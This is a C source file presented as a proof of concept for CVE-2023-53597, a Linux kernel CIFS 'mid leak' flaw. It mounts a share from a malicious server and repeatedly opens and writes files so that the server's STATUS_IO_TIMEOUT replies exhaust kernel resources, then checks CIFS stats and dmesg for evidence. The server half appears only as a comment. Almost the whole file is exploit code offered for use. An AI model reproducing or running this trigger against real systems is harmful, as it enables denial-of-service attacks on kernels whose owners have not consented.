// CVE-2023-53597 PoC - Conceptual demonstration
// This PoC demonstrates how to trigger the mid leak vulnerability
// by causing STATUS_IO_TIMEOUT responses from a CIFS server.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mount.h>
#include <fcntl.h>
// Number of STATUS_IO_TIMEOUT responses needed to trigger reconnection
// In vulnerable kernel, this constant was NUM_STATUS_IO_TIMEOUT
#define MAX_STATUS_IO_TIMEOUT 4
/*
* Step 1: Mount a CIFS share from a controlled server
* The malicious server will deliberately respond with STATUS_IO_TIMEOUT
*/
int mount_malicious_share(const char *share_path, const char *mount_point) {
char mount_opts[256];
snprintf(mount_opts, sizeof(mount_opts),
"username=guest,password=,iocharset=utf8");
int ret = mount(share_path, mount_point, "cifs", 0, mount_opts);
if (ret != 0) {
perror("mount failed");
return -1;
}
printf("Mounted %s at %s\n", share_path, mount_point);
return 0;
}
/*
* Step 2: Continuously perform I/O operations on the mounted share
* Each operation will trigger STATUS_IO_TIMEOUT from the malicious server
*/
void trigger_timeout_leak(const char *mount_point) {
char file_path[256];
char buffer[4096];
int fd;
// Loop to trigger enough timeouts to exceed MAX_STATUS_IO_TIMEOUT
for (int i = 0; i < MAX_STATUS_IO_TIMEOUT * 10; i++) {
snprintf(file_path, sizeof(file_path), "%s/testfile_%d", mount_point, i);
// Attempt to open a file - this will trigger CIFS request
fd = open(file_path, O_RDWR | O_CREAT, 0644);
if (fd >= 0) {
// Write data - server responds with STATUS_IO_TIMEOUT
write(fd, buffer, sizeof(buffer));
close(fd);
}
// Small delay between operations
usleep(100000);
}
printf("Triggered %d timeout responses\n", MAX_STATUS_IO_TIMEOUT * 10);
}
/*
* Step 3: Monitor kernel for mid leaks
* Check /proc/fs/cifs/Stats or kernel logs for evidence of resource exhaustion
*/
void check_leak_status() {
printf("Checking system status for mid leaks...\n");
system("cat /proc/fs/cifs/Stats 2>/dev/null || echo 'Stats not available'");
system("dmesg | grep -i 'cifs' | tail -20");
}
int main(int argc, char *argv[]) {
if (argc < 3) {
printf("Usage: %s <cifs_share> <mount_point>\n", argv[0]);
printf("Example: %s //192.168.1.100/share /mnt/cifs\n", argv[0]);
return 1;
}
printf("=== CVE-2023-53597 PoC ===\n");
printf("Linux Kernel CIFS Mid Leak Vulnerability\n\n");
if (mount_malicious_share(argv[1], argv[2]) != 0) {
return 1;
}
trigger_timeout_leak(argv[2]);
check_leak_status();
// Cleanup
umount(argv[2]);
printf("\nPoC completed. Check kernel logs for mid leak evidence.\n");
return 0;
}
/*
* Server-side component (conceptual):
* A malicious SMB/CIFS server should respond to requests with
* NT_STATUS_IO_TIMEOUT status code. After receiving
* MAX_STATUS_IO_TIMEOUT such responses, the vulnerable kernel
* will trigger reconnection without properly releasing mids.
*/